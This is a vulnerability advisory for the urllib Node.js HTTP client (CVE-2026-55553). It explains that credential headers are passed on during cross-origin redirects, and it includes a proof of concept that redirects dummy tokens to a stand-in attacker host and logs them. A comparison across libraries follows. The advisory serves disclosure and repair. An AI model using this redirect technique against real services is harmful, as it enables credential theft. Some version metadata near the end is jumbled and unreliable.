urllib
Affected
- introduced
3.0.0, fixed4.9.1(semver)
Fixed versions
4.9.1
Fix
- Fixed version
4.9.1npm install [email protected]
Advisory
Also known as: CVE-2026-55553
urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage
Summary
urllib supports redirect-following through followRedirect, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as Authorization, Cookie, Proxy-Authorization, and custom auth headers (x-api-key, x-auth-token, x-access-token).
If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.
Affected behavior
Confirmed against urllib v4.9.0. The relevant code is in #requestInternal (`src/HttpClient.ts:639-656`):
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections
if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {
if (res.headers.location) {
requestContext.redirects++;
const nextUrl = new URL(res.headers.location, requestUrl.href);
// Ensure the response is consumed
await response.body.arrayBuffer();
debug(
'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',
requestId,
res.status,
res.headers,
res.timing,
nextUrl.href,
);
return await this.#requestInternal(nextUrl.href, options, requestContext);
}
}
The recursive call this.#requestInternal(nextUrl.href, options, requestContext) reuses the original options object. If the caller supplied credential-bearing headers in options.headers, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.
Redirect-header handling context
The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up Host during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.
Proof of Concept: 3-container topology
The reproduction uses three separate containers (partner, attacker, client) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a localhost vs 127.0.0.1 same-host case.
[client container] [partner container] [attacker container]
hostname: client hostname: partner hostname: attacker
port: 3001 port: 3002
urllib v4.9.0
│
│ GET http://partner:3001/start
│ + 6 credential-bearing headers
↓
302 Location:
http://attacker:3002/captured
│
│ urllib follows redirect
│ → DIFFERENT ORIGIN
│ (different hostname and port)
│ → all 6 headers preserved
↓
headers logged
inside attacker
container
The origin tuple is (scheme, host, port):
http://partner:3001http://attacker:3002The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.
Client invocation (client/poc.mjs):
import urllib from 'urllib' // v4.9.0
await urllib.request('http://partner:3001/start', {
followRedirect: true,
maxRedirects: 5,
headers: {
'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',
'Cookie': 'session=LIVE-COOKIE-3CONTAINER',
'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',
'x-api-key': 'sk-LIVE-3CONTAINER-x123',
'x-auth-token': 'auth-LIVE-3CONTAINER-y456',
'x-access-token': 'access-LIVE-3CONTAINER-z789',
},
})
Observed result
urllib 4.9.0, Node.js 22.22.2, linux/arm64:
[attacker] CAPTURED HEADERS:
"authorization": "Bearer LIVE-AUTH-3CONTAINER"
"cookie": "session=LIVE-COOKIE-3CONTAINER"
"proxy-authorization": "Bearer proxy-LIVE-3CONTAINER"
"x-api-key": "sk-LIVE-3CONTAINER-x123"
"x-auth-token": "auth-LIVE-3CONTAINER-y456"
"x-access-token": "access-LIVE-3CONTAINER-z789"
"user-agent": "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)"
LEAK RATE: 6/6
The user-agent value confirms that the redirected request was sent by urllib v4.9.0.
Independent reproduction: multi-library comparison
A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:
partner:3001 → attacker:3002 redirect;The results were deterministic across runs:
| Library | Leak rate | Headers stripped on cross-origin redirect |
|---|---:|---|
| undici 6.21.0 | 3/6 | authorization, cookie, proxy-authorization |
| needle 3.5.0 | 3/6 | authorization, cookie, proxy-authorization |
| node-fetch 3.3.2 | 4/6 | authorization, cookie |
| superagent 10.3.0 | 4/6 | authorization, cookie |
| @hapi/wreck 18.1.0 | 4/6 | authorization, cookie |
| request 2.88.2 | 5/6 | authorization |
| urllib 4.9.0 | 6/6 | none |
urllib was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as x-api-key, x-auth-token, and x-access-token are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as Authorization, Cookie, and Proxy-Authorization.
The reproduction harness is small and can be shared if useful.
Impact
This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.
1. Application sends an authenticated request:
GET https://api.partner.example/data
Authorization: Bearer <token>
Cookie: session=<session-id>
2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
302 Location: https://attacker.example/captured
3. urllib follows the redirect and sends the original Authorization and Cookie headers
to attacker.example.High Basis: The source's own band: HIGH
3.0.0, fixed 4.9.1 (semver)4.9.1
4.9.1npm install [email protected]0, fixed 2.44.1 (semver)2.44.1
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0